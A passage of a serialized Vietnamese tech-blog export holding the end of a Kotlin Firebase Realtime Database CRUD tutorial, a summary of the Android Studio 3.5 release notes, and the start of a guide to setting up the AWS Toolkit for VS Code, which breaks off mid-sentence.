key\n    val key = databaseReference.child(\"User\").push().key\n\n    \u002F\u002Fget user data from edit text\n    val user = UserModel(\n        name = edt_name.text.toString(),\n        age = edt_age.text.toString().toInt(),\n        email = edt_email.text.toString()\n    )\n\n    key?.let {\n        user.id = key\n\n        \u002F\u002F Write a data to the database\n        databaseReference.child(\"User\").child(key).setValue(user).addOnSuccessListener {\n            clearText()\n            \u002F\u002Fget user data from database\n            getUser()\n            \u002F\u002Fscroll to new item\n            recycler_user.scrollToPosition(recyclerAdapter.userList.size - 1)\n        }\n            .addOnFailureListener {\n                Toast.makeText(this, \"Upload Error\", Toast.LENGTH_SHORT).show()\n            }\n    }\n}\n",[703,1303,1301],{"__ignoreMap":66},[11,1305,1306,1307],{},"Ở sự kiện click của ",[20,1308,1309],{},"button_insert",[696,1311,1314],{"className":1312,"code":1313,"language":701},[699],"btn_insert.setOnClickListener {\n    insertUser()\n}\n",[703,1315,1313],{"__ignoreMap":66},[11,1317,1318,1319,1322,1323,1326],{},"sau khi chọn ",[20,1320,1321],{},"button","_",[20,1324,1325],{},"insert"," dữ liệu sẽ được thêm vào database ngay lập tức.",[533,1328],{"className":1329,"alt":66,"src":1330,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082139\u002FScreen-Shot-2020-02-20-at-4.36.54-PM.png",[31,1332,1333],{},[34,1334,1335],{},[1277,1336,1337],{},"Đọc dữ liệu trên database:",[696,1339,1342],{"className":1340,"code":1341,"language":701},[699],"private fun getUser() {\n    databaseReference.child(\"User\").addValueEventListener(object : ValueEventListener {\n        override fun onCancelled(dataError: DatabaseError) {\n            Toast.makeText(this@DataBaseActivity, \"Upload Error\", Toast.LENGTH_SHORT).show()\n        }\n\n        override fun onDataChange(dataSnapshot: DataSnapshot) {\n\n            \u002F\u002Fget user list from database\n            val list = dataSnapshot.children.mapNotNull {\n                it.getValue(UserModel::class.java)\n            }\n            list.forEach {\n                Log.i(\"Users\", it.toString())\n            }\n            \u002F\u002Fadd to recycler view\n            if (list.isNotEmpty()) {\n                recyclerAdapter.userList.clear()\n                recyclerAdapter.userList.addAll(list)\n                recyclerAdapter.notifyDataSetChanged()\n            }\n        }\n    })\n}\n",[703,1343,1341],{"__ignoreMap":66},[533,1345],{"className":1346,"alt":66,"src":1347,"style":604},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082214\u002FScreenshot_20200221-082417-739x1536.png",[31,1349,1350],{},[34,1351,1352],{},[1277,1353,1354],{},"Update dữ liệu trên database",[696,1356,1359],{"className":1357,"code":1358,"language":701},[699],"private fun updateUser() {\n    user?.let {\n        \u002F\u002Fcreate new user object\n        val user = UserModel(\n            it.id,\n            edt_name.text.toString(),\n            edt_age.text.toString().toInt(),\n            edt_email.text.toString()\n        )\n        \u002F\u002Fupdate user\n        databaseReference.child(\"User\u002F${it.id}\").setValue(user)\n    }\n}\n",[703,1360,1358],{"__ignoreMap":66},[533,1362],{"className":1363,"alt":66,"src":1364,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082239\u002FScreen-Shot-2020-02-20-at-5.13.21-PM.png",[31,1366,1367],{},[34,1368,1369],{},[1277,1370,1371],{},"Delete  dữ liệu trên database",[696,1373,1376],{"className":1374,"code":1375,"language":701},[699],"private fun deleteUser() {\n    \u002F\u002F get user id\n    val query =\n        databaseReference.child(\"User\").orderByChild(\"id\").equalTo(user?.id)\n\n    query.addListenerForSingleValueEvent(object : ValueEventListener {\n        override fun onDataChange(dataSnapshot: DataSnapshot) {\n            for (user in dataSnapshot.children) {\n                \u002F\u002Fremove user\n                user.ref.removeValue().addOnSuccessListener {\n                    clearText()\n                }\n            }\n        }\n\n        override fun onCancelled(databaseError: DatabaseError) {\n            Log.e(\n                TAG,\n                \"onCancelled\",\n                databaseError.toException()\n            )\n        }\n    })\n    getUser()\n}\n",[703,1377,1375],{"__ignoreMap":66},[533,1379],{"className":1380,"alt":66,"src":1381,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2020\u002F02\u002F07082302\u002FScreen-Shot-2020-02-20-at-5.14.08-PM.png",[498,1383,1385],{"id":1384},"vi-link-tham-khảo","VI. Link tham khảo",[11,1387,1388],{},[58,1389,1390],{"href":1390,"rel":1391},"https:\u002F\u002Ffirebase.google.com\u002Fdocs\u002Fguides",[62],[11,1393,1394],{},[58,1395,1396],{"href":1396,"rel":1397},"https:\u002F\u002Fgithub.com\u002Ffirebase\u002Fquickstart-android\u002Fblob\u002F995be41782f84b3c54e41d7d7e5d3a5048fe329e\u002Fmessaging\u002Fapp\u002Fsrc\u002Fmain\u002Fjava\u002Fcom\u002Fgoogle\u002Ffirebase\u002Fquickstart\u002Ffcm\u002Fkotlin\u002FMyFirebaseMessagingService.kt#L65-L77",[62],[11,1399,1400],{},[58,1401,1402],{"href":1402,"rel":1403},"https:\u002F\u002Fproandroiddev.com\u002Ffirebase-android-playground-realtime-database-560d4e18404a",[62],[11,1405,1406],{},[58,1407,1408],{"href":1408,"rel":1409},"https:\u002F\u002Fwww.learnhowtoprogram.com\u002Fandroid\u002Fdata-persistence\u002Ffirebase-reading-data-and-event-listeners",[62],{"title":66,"searchDepth":67,"depth":67,"links":1411},[1412,1413,1414,1419,1423,1427],{"id":500,"depth":67,"text":501},{"id":513,"depth":67,"text":514},{"id":654,"depth":67,"text":655,"children":1415},[1416,1418],{"id":659,"depth":1417,"text":660},3,{"id":666,"depth":1417,"text":667},{"id":877,"depth":67,"text":878,"children":1420},[1421,1422],{"id":881,"depth":1417,"text":660},{"id":887,"depth":1417,"text":667},{"id":1192,"depth":67,"text":1193,"children":1424},[1425,1426],{"id":1196,"depth":1417,"text":660},{"id":1202,"depth":1417,"text":667},{"id":1384,"depth":67,"text":1385},[1429,1430],"mobile","tech talk","2020-02-25","Firebase là gì Google Firebase là phần mềm phát triển ứng dụng được Google hỗ trợ cho phép các nhà phát triển phát triển ứng dụng iOS, Android và Web apps. Firebase cung cấp các công cụ để theo dõi phân tích, báo cáo và khắc phục sự cố ứng dụng, tạo thử nghiệm tiếp thị và sản phẩm.",{},"\u002Fvi\u002Fnews\u002Fandroid-firebase-for-beginer",{"title":486,"description":1432},"vi\u002Fnews\u002Fandroid-firebase-for-beginer","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F05080300\u002FFirebase.jpg","p1PsAiypQEQIbHkTnqXIQTnU0h6fpb4U-Mt31v_RZic",{"id":1440,"title":1441,"body":1442,"category":1832,"created by":70,"date":1833,"description":1834,"extension":72,"meta":1835,"navigation":74,"path":1836,"sections":76,"seo":1837,"stem":1838,"thumbnail":1839,"__hash__":1840},"content_vi\u002Fvi\u002Fnews\u002Fandroid-studio-3-5-release-note-summary.md","Android Studio 3.5 Release Note Summary",{"type":8,"value":1443,"toc":1812},[1444,1459,1465,1471,1479,1483,1486,1501,1513,1517,1524,1536,1540,1546,1554,1560,1563,1569,1573,1576,1580,1608,1614,1617,1621,1627,1630,1636,1639,1643,1646,1650,1653,1660,1671,1679,1683,1686,1690,1697,1701,1704,1708,1711,1715,1718,1725,1730,1737,1741,1746,1749,1752,1758,1765,1799,1804],[11,1445,1446,1447,1452,1453,1458],{},"Android Studio 3.5  tập trung cải thiện 3 vùng chính của IDE: ",[58,1448,1451],{"href":1449,"rel":1450},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases#3-5-system-health",[62],"system health",", ",[58,1454,1457],{"href":1455,"rel":1456},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases#3-5-feature-polish",[62],"feature polish",", và fixing bugs.",[498,1460,1462],{"id":1461},"i-tính-năng-mới",[20,1463,1464],{},"I. Tính năng mới",[657,1466,1468],{"id":1467},"_1-thiết-lập-recommended-memory",[20,1469,1470],{},"1. Thiết lập Recommended memory",[11,1472,1473,1474,974],{},"Theo mặc định, Android Studio có bộ nhớ heap tối đa là 1028MB. Android Studio giờ đã có thể tự nhận biết khi project cần nhiều RAM hơn và sẽ thông báo cho bạn để tăng kích thước vùng nhớ. bạn có thể tham khảo thêm ở bài viết này ",[58,1475,1478],{"href":1476,"rel":1477},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Fintro\u002Fstudio-config#adjusting_heap_size",[62],"Maximum heap size",[533,1480],{"className":1481,"alt":66,"src":1482,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103014\u002FScreen-Shot-2019-09-20-at-3.20.07-PM.png",[11,1484,1485],{},"Hoặc cũng có thể tự điều chỉnh cho việc này bằng cách:",[11,1487,1488,1489,1492,1493,1496,1497,1500],{},"1. Chọn ",[20,1490,1491],{},"File"," > ",[20,1494,1495],{},"Settings"," từ thanh menu(hoặc Android Studio > ",[20,1498,1499],{},"Preferences"," trên macOS).",[11,1502,1503,1504,1492,1507,1492,1510],{},"2. Chọn ",[20,1505,1506],{},"Appearance & Behavior",[20,1508,1509],{},"System Settings",[20,1511,1512],{},"Memory Settings.",[533,1514],{"className":1515,"alt":66,"src":1516,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103132\u002FScreen-Shot-2019-09-20-at-4.09.48-PM.png",[657,1518,1520,1521],{"id":1519},"_2-tạo-báo-cáomemory-usage","2. Tạo báo cáo ",[20,1522,1523],{},"Memory usage",[11,1525,1526,1527,1530,1531],{},"Vấn đề về bộ nhớ trong Android Studio đôi khi khó nhận biết và báo cáo. Để giải quyết vấn đề này Android Studio đã cho bạn tạo một bản báo cáo bằng cách vào ",[20,1528,1529],{},"Help > Analyze Memory Usage"," từ thanh menu. Khi bạn làm như vậy, IDE sẽ loại bỏ thông tin cá nhân trước khi hỏi bạn có muốn gửi nó cho nhóm Android Studio để giúp xác định nguồn gốc của các vấn đề bộ nhớ hay không. bạn có thể tham khảo thêm ở bài viết này ",[58,1532,1535],{"href":1533,"rel":1534},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freport-bugs#run-memory-usage-report",[62],"Run a memory usage report.",[533,1537],{"className":1538,"alt":66,"src":1539,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103200\u002FScreen-Shot-2019-09-20-at-3.32.59-PM-1024x617.png",[657,1541,1543],{"id":1542},"_3-tính-năng-antivirus-file-io-optimization-trên-windows",[20,1544,1545],{},"3. Tính năng Antivirus file I\u002FO optimization trên Windows",[11,1547,1548,1549],{},"Đối với người dùng Windows, cấu hình mặc định của phần mềm diệt virus không thực sự tối ưu cho các thư mục đầu ra của bản build. Android Studio giờ có thể phát hiện điều này và sẽ hướng dẫn bạn thiết lập chúng. bạn có thể tham khảo thêm ở bài viết này ",[58,1550,1553],{"href":1551,"rel":1552},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Fintro\u002Fstudio-config#antivirus-impact",[62],"Minimize the impact of antivirus software on build speed.",[657,1555,1557],{"id":1556},"_4-hỗ-trợ-chrome-os",[20,1558,1559],{},"4. Hỗ trợ Chrome OS:",[11,1561,1562],{},"Hiện tại Android Studio đã hỗ trợ các thiết bị chạy hệ điều hành Chrome OS như HP Chromebook x360 14, Acer Chromebook 13\u002FSpin 13.",[498,1564,1566],{"id":1565},"ii-tính-năng-cải-thiện",[20,1567,1568],{},"II. Tính năng cải thiện",[657,1570,1572],{"id":1571},"_1applychanges","1. ApplyChanges",[11,1574,1575],{},"Apply Changes cho phép bạn nhanh chóng xem các thay đổi trên trình giả lập hoặc thiết bị mà không cần khởi động lại ứng dụng, ở một vài trường hợp thậm chí bạn không cần khởi động lại activity.",[533,1577],{"className":1578,"alt":66,"src":1579,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103225\u002Fapply-changes-buttons-3.5.png",[201,1581,1582,1593,1600],{},[34,1583,1584,1587,1589,1590,974],{},[20,1585,1586],{},"Apply Code Changes",[570,1588],{},"Thay đổi code của bạn mà không cần phải khởi động lại activity hoặc app. Bạn chỉ có thể sử dụng Apply Code Changes khi bạn thay đổi code trong phương thức mà không có thay đổi gì ở resource. Nếu như chỉnh sửa cả hai hãy sử dụng ",[20,1591,1592],{},"Apply Changes and Restart Activity",[34,1594,1595,1597,1599],{},[20,1596,1592],{},[570,1598],{},"Thay đổi code và resource bằng cách khởi động lại activity mà không cần phải khởi động lại app. Bạn có thể sử dụng chức năng này khi thay đổi code trong phương thức hoặc resource.",[34,1601,1602,1605,1607],{},[20,1603,1604],{},"Run",[570,1606],{},"Thay đổi tất cả code và resource khởi động lại app. sử dụng chức năng này khi không thể dùng được các chức năng còn lại của Apply Changes.",[657,1609,1611],{"id":1610},"_2-app-deployment-flow",[20,1612,1613],{},"2. App deployment flow",[11,1615,1616],{},"IDE thiết kê một drop-down menu mới để có dễ dàng lựa chọn thiết bị bạn muốn build và menu này cũng hỗ trợ build một lần trên nhiều thiết bị.",[533,1618],{"className":1619,"alt":66,"src":1620,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103251\u002Fdeploy-run-app-1024x544.png",[657,1622,1624],{"id":1623},"_3-gradle-sync-and-cache-detection",[20,1625,1626],{},"3. Gradle sync and cache detection",[11,1628,1629],{},"IDE bây giờ đã được cải thiện, Gradle sẽ xóa định kỳ build cache của bạn để giảm dung lượng bộ nhớ. Ở phiên bản trước, việc này có thể làm IDE khai báo thiếu các dependencies và gradle sẽ sync fail. Hiện tại, IDE chỉ tải xuống các dependencies cần thiết để gradle có thể sync thành công.",[657,1631,1633],{"id":1632},"_4-data-binding",[20,1634,1635],{},"4. Data Binding",[11,1637,1638],{},"Việc gõ code XML đã được tối ưu hóa nhiều hơn. Chỉnh sửa biểu thức liên kết dữ liệu trong XML giờ sẽ nhanh hơn do Google cải thiện độ trễ trong khi gõ.",[533,1640],{"className":1641,"alt":66,"src":1642,"style":539},[536,537],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fxml-editing-latency-3.4.gif",[11,1644,1645],{},"Android Studio 3.4.",[533,1647],{"className":1648,"alt":66,"src":1649,"style":539},[536,537],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fxml-editing-latency-3.5.gif",[11,1651,1652],{},"Android Studio 3.5.",[657,1654,1656,1657],{"id":1655},"_5layout-editor","5. ",[20,1658,1659],{},"Layout Editor",[11,1661,1662,1663,1666,1667,1670],{},"Hiện tại các thuộc tính ",[20,1664,1665],{},"Constraints"," đã được liệt kê trong bảng ",[20,1668,1669],{},"Attributes > Layout > Constraints,"," khi bạn chọn constraint ở màn hình design hoặc trong danh sách constraints thì vùng ràng buộc được chọn sẽ có màu sắc nổi bật hơn.",[11,1672,1673,1677],{},[533,1674],{"className":1675,"alt":66,"src":1676,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103359\u002Fconstraint-relationships-3.5-1024x469.png",[570,1678],{},[533,1680],{"className":1681,"alt":66,"src":1682,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103500\u002FPicture1.png",[11,1684,1685],{},"Tương tự bạn có thể xóa constraint bằng cách chọn nó và nhấn Delete. Bạn cũng có thể xóa constraint bằng cách nhấn và giữ phím Control (Command trên macOS) và nhấn vào điểm neo. Khi bạn di chuyển chuột vào các điểm neo trong khi đang giữ phím Control (Command trên macOS) thì constraint đó sẽ chuyển màu đỏ và sẽ được xóa đi khi bạn click vào.",[533,1687],{"className":1688,"alt":66,"src":1689,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103600\u002FPicture2.png",[11,1691,1692,1693,1696],{},"Ngoài ra bạn có thể tạo một constraint bằng cách nhấn vài icon + trong bảng ",[20,1694,1695],{},"Attributes > Constraint Widget",", như hình bên dưới.",[533,1698],{"className":1699,"alt":66,"src":1700,"style":539},[536,537],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-widget-3.5.gif",[11,1702,1703],{},"Khi tạo một constraint, Layout Editor chỉ hiển thị các điểm neo mà bạn có thể ràng buộc. Ở phiên bản trước, Layout Editor sẽ hiển thị toàn bộ điểm neo. Ngoài ra, lớp phủ màu xanh giúp bạn dễ nhận biết được view mà bạn đang chọn để ràng buộc khi có hai view nằm đè lên nhau.",[533,1705],{"className":1706,"alt":66,"src":1707,"style":539},[536,537],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-target-overlay-3.4.gif",[11,1709,1710],{},"Tạo một constraint cho một \"overlapping component\" in Android Studio 3.4.",[533,1712],{"className":1713,"alt":66,"src":1714,"style":539},[536,537],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Fconstraint-target-overlay-3.5.gif",[11,1716,1717],{},"Tạo một constraint cho một \"overlapping component\" in Android Studio 3.5.",[657,1719,1721,1722],{"id":1720},"_6improved-support-for-cc-projects","6. ",[20,1723,1724],{},"Improved support for C\u002FC++ projects",[11,1726,1727],{},[20,1728,1729],{},"Build Variants panel improvements for single variant sync",[11,1731,1732,1733,1736],{},"Bây giờ bạn có chỉ định cho cả Active Build Variant và Active ABI trong bản ",[20,1734,1735],{},"Build Variants",". Tính năng này giúp đơn giản hóa cấu hình xây dựng cho mỗi mô-đun và cũng có thể cải thiện hiệu suất đồng bộ hóa Gradle.",[533,1738],{"className":1739,"alt":66,"src":1740,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06103750\u002Fsingle-variant-ABI.png",[11,1742,1743],{},[20,1744,1745],{},"Side-by-side versions of the NDK",[11,1747,1748],{},"Có thể sử dụng nhiều phiên bản NDK cùng với nhau. Tính năng này tạo nên sự linh hoạt cho bạn khi cấu hình các dự án, ví dụ bạn có các dự án sử dụng các phiên bản NDK khác nhau cùng nằm trên một máy tính.",[11,1750,1751],{},"Nếu dự án của bạn sử dụng Android Gradle plugin 3.5.0 hoặc cao hơn bạn có thể chọn phiên bản NDK cho mỗi mô-đun trong dự án của bạn. Bạn có thể sử dụng tính năng này để tạo các reproducible builds và để giảm thiểu sự không tương thích giữa các phiên bản NDK và plugin Android Gradle.",[498,1753,1755],{"id":1754},"iii-known-issue",[20,1756,1757],{},"III. Known issue",[11,1759,1760,1761,1764],{},"Khi làm việc với XML, IDE có thể áp dụng không đúng định dạng khi chọn ",[20,1762,1763],{},"Code > Reformat Code"," từ menu bar. Để sửa lỗi này, có thể áp dụng cách sau:",[31,1766,1767,1781,1787,1793],{},[34,1768,1769,1770,1772,1773,1776,1777,1780],{},"Mở ",[20,1771,1495],{}," trên Windows ",[20,1774,1775],{},"File > Settings"," (với macOS, ",[20,1778,1779],{},"Android Studio > Preferences",").",[34,1782,1783,1784,974],{},"Ở menu bên trái, chọn ",[20,1785,1786],{},"Editor > Code Style > XML",[34,1788,1789,1790,974],{},"Ở phía trên bên phải, chọn ",[20,1791,1792],{},"Set from > Predefined Style > Android",[34,1794,1795,1796,974],{},"Chọn ",[20,1797,1798],{},"OK",[1800,1801,1803],"h4",{"id":1802},"tham-khảo","Tham khảo:",[201,1805,1806],{},[34,1807,1808],{},[58,1809,1810],{"href":1810,"rel":1811},"https:\u002F\u002Fdeveloper.android.com\u002Fstudio\u002Freleases",[62],{"title":66,"searchDepth":67,"depth":67,"links":1813},[1814,1821,1831],{"id":1461,"depth":67,"text":1464,"children":1815},[1816,1817,1819,1820],{"id":1467,"depth":1417,"text":1470},{"id":1519,"depth":1417,"text":1818},"2. Tạo báo cáo Memory usage",{"id":1542,"depth":1417,"text":1545},{"id":1556,"depth":1417,"text":1559},{"id":1565,"depth":67,"text":1568,"children":1822},[1823,1824,1825,1826,1827,1829],{"id":1571,"depth":1417,"text":1572},{"id":1610,"depth":1417,"text":1613},{"id":1623,"depth":1417,"text":1626},{"id":1632,"depth":1417,"text":1635},{"id":1655,"depth":1417,"text":1828},"5. Layout Editor",{"id":1720,"depth":1417,"text":1830},"6. Improved support for C\u002FC++ projects",{"id":1754,"depth":67,"text":1757},[1429,1430],"2019-09-27","Android Studio 3.5  tập trung cải thiện 3 vùng chính của IDE: system health, feature polish, và fixing bugs. I. Tính năng mới 1. Thiết lập Recommended memory Theo mặc định, Android Studio có bộ nhớ heap tối đa là 1028MB. Android Studio giờ đã có thể tự nhận biết khi project cần nhiều RAM hơn và sẽ thông báo cho bạn để tăng kích thước vùng nhớ.",{},"\u002Fvi\u002Fnews\u002Fandroid-studio-3-5-release-note-summary",{"title":1441,"description":1834},"vi\u002Fnews\u002Fandroid-studio-3-5-release-note-summary","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06102504\u002FScreen-Shot-2019-09-27-at-19.15.20.png","Txp5NtnGm4lfNYtcQVv8QuK0Ttc7K8a8dMZFd0B9Jzo",{"id":1842,"title":1843,"body":1844,"category":2219,"created by":70,"date":2220,"description":2221,"extension":72,"meta":2222,"navigation":74,"path":2223,"sections":76,"seo":2224,"stem":2225,"thumbnail":2226,"__hash__":2227},"content_vi\u002Fvi\u002Fnews\u002Faws-toolkit-for-visual-studio-code.md","Sử dụng AWS Toolkit trong Visual Studio Code",{"type":8,"value":1845,"toc":2206},[1846,1852,1855,1858,1874,1880,1891,1896,1909,1918,1941,1947,1950,1955,1962,1977,2021,2027,2070,2076,2081,2095,2146,2150,2158,2162],[657,1847,1849],{"id":1848},"aws-toolkit-là-gì",[20,1850,1851],{},"AWS Toolkit là gì ?",[11,1853,1854],{},"Là 1 extension được tạo ra để giúp cho developer có thể dễ dàng quản lý, phát triển, debug ở local và deploy các ứng dụng serverless sử dụng dịch vụ Amazon Web Serice (AWS).",[11,1856,1857],{},"Bạn có thể sử dụng AWS Toolkit for Visual Studio Code để:",[31,1859,1860,1863],{},[34,1861,1862],{},"Phát triển ứng dụng serverless ở local, và sau đó deploy lên AWS.",[34,1864,1865,1866],{},"Quản lý các tài nguyên được hỗ trợ nhất định trong tài khoản AWS. Nó bao gồm:\n",[201,1867,1868,1871],{},[34,1869,1870],{},"Liệt kê và xóa AWS CloudFormation stacks.",[34,1872,1873],{},"Liệt kê và gọi các hàm AWS Lambda.",[657,1875,1877],{"id":1876},"yêu-cầu-bắt-buộc",[20,1878,1879],{},"Yêu cầu (bắt buộc)",[201,1881,1882,1885,1888],{},[34,1883,1884],{},"Một tài khoản Amazon Web Service.",[34,1886,1887],{},"Hệ điều hành Windows, Linux hoặc MacOS",[34,1889,1890],{},"VScode phiên bản từ 1.31.1 trở lên.",[11,1892,1893],{},[20,1894,1895],{},"Không bắt buộc:",[201,1897,1898,1906],{},[34,1899,1900,1901],{},"AWS SAM CLI – công cụ này sẽ giúp bạn phát triển, kiểm tra và phân tích (analyze) ứng dụng serverless của bạn ở local. Công cụ này không bắt buộc cần có khi cài đặt AWS toolkit nhưng mình khuyến khích bạn nên cài đặt nó bởi vì nó là bắt buộc cần có khi dùng chức năng AWS Serverless Application Model (AWS SAM) như tạo ứng dụng serverless. Xem thêm tại ",[58,1902,1905],{"href":1903,"rel":1904},"https:\u002F\u002Fdocs.aws.amazon.com\u002Fserverless-application-model\u002Flatest\u002Fdeveloperguide\u002Fserverless-sam-cli-install.html",[62],"đây",[34,1907,1908],{},"Docker – bắt buộc cài đặt khi sử dụng công cụ AWS SAM CLI bên trên.",[657,1910,1912,64,1915],{"id":1911},"cài-đặtaws-toolkit-cho-vscode",[20,1913,1914],{},"Cài đặt",[20,1916,1917],{},"AWS Toolkit cho VSCode",[201,1919,1920,1931,1934],{},[34,1921,1922,1923,1927],{},"Mở VSCode, chuyển qua tab Extension ở Activity bar và  tìm kiếm với keywork “AWS Toolkit for Visual Studio Code”. Ngoài ra bạn có thể chọn Install từ trang web kho extension của VSCode. Link tại ",[58,1924,1905],{"href":1925,"rel":1926},"https:\u002F\u002Fmarketplace.visualstudio.com\u002Fitems?itemName=AmazonWebServices.aws-toolkit-vscode",[62],[533,1928],{"className":1929,"alt":66,"src":1930,"style":568},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090446\u002Faws1.png",[34,1932,1933],{}," Chọn Install",[34,1935,1936,1937],{},"Sau đó có thể nó sẽ yêu cầu bạn cần khởi động lại VSCode, lúc đó bạn hãy chọn Reload Required để khởi động lại vscode. Lúc này bạn sẽ thấy xuất hiện thêm icon AWS ở thanh Activity Bar .",[533,1938],{"className":1939,"alt":66,"src":1940,"style":539},[536,537],"https:\u002F\u002Fbriswell-vn.com\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002Faws2-1.png",[657,1942,1944],{"id":1943},"lấy-aws-access-key",[20,1945,1946],{},"Lấy AWS Access Key",[11,1948,1949],{},"Access key là chuỗi xác thực nhận dạng bạn đến AWS và cho phép bạn có thể truy cập tài nguyên và dịch vụ AWS. Access key có thể liên kết với tài khoản AWS của bạn (tài khoản root) hoặc với user mà bạn tạo trong AWS Identity and Access Management (IAM).",[11,1951,1952],{},[20,1953,1954],{},"Chú ý:",[11,1956,1957,1958],{},"Bởi vì tài khoản root là người quản trị có đầy đủ quyền truy cập vào các dịch vụ và tài nguyên do đó AWS khuyến khích mọi người tạo người dùng IAM và chỉ cấp cho những user này những quyền cần thiết để thực hiện các tác vụ được yêu cầu. Sau đó, dùng access key của user này để đăng nhập. Xem thêm về cách tạo user IAM tại ",[58,1959,1905],{"href":1960,"rel":1961},"https:\u002F\u002Fdocs.aws.amazon.com\u002FIAM\u002Flatest\u002FUserGuide\u002Fid_users_create.html",[62],[657,1963,1965,64,1968,64,1971,64,1974],{"id":1964},"thêmaws-access-keysvào-môi-trườngcủa-bạn",[20,1966,1967],{},"Thêm",[20,1969,1970],{},"AWS Access Keys",[20,1972,1973],{},"vào môi trường",[20,1975,1976],{},"của bạn",[201,1978,1979,1982,1988,2000,2007,2014],{},[34,1980,1981],{},"Mở VScode",[34,1983,1984,1985,756],{},"Nhấn tổ hợp phím Ctrl + Shift + P (mở ",[20,1986,1987],{},"Command Palette",[34,1989,1990,1991,1994,1995],{},"Tìm và chọn ",[20,1992,1993],{},"AWS: Create Credentials Profile",".\n",[533,1996],{"className":1997,"alt":66,"src":1998,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090640\u002Faws3.png","width: 80%;",[34,2001,2002,2003],{},"Điền tên gọi của profile setting\n",[533,2004],{"className":2005,"alt":66,"src":2006,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090707\u002Faws4.png",[34,2008,2009,2010],{},"Điền access key id\n",[533,2011],{"className":2012,"alt":66,"src":2013,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090736\u002Faws5.png",[34,2015,2016,2017],{},"Điền secret key\n",[533,2018],{"className":2019,"alt":66,"src":2020,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090748\u002Faws6.png",[657,2022,2024],{"id":2023},"kết-nối-đến-aws",[20,2025,2026],{},"Kết nối đến AWS",[201,2028,2029,2032,2036,2046,2053,2063],{},[34,2030,2031],{},"Mở VScode.",[34,2033,1984,2034,1780],{},[20,2035,1987],{},[34,2037,2038,2039,2042],{},"Tìm ",[20,2040,2041],{},"AWS: Connect to AWS",[533,2043],{"className":2044,"alt":66,"src":2045,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090848\u002Faws7.png",[34,2047,2048,2049],{},"Chọn cái profile mà đã tạo ở bước trên. Ở đây mình chọn profile có tên default.",[533,2050],{"className":2051,"alt":66,"src":2052,"style":1999},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2019\u002F09\u002F06090913\u002Faws8.png",[34,2054,2055,2056,974,2059],{},"Nếu có cái màn hình popup nhỏ xuất hiện ở góc phải bên dưới thì mình 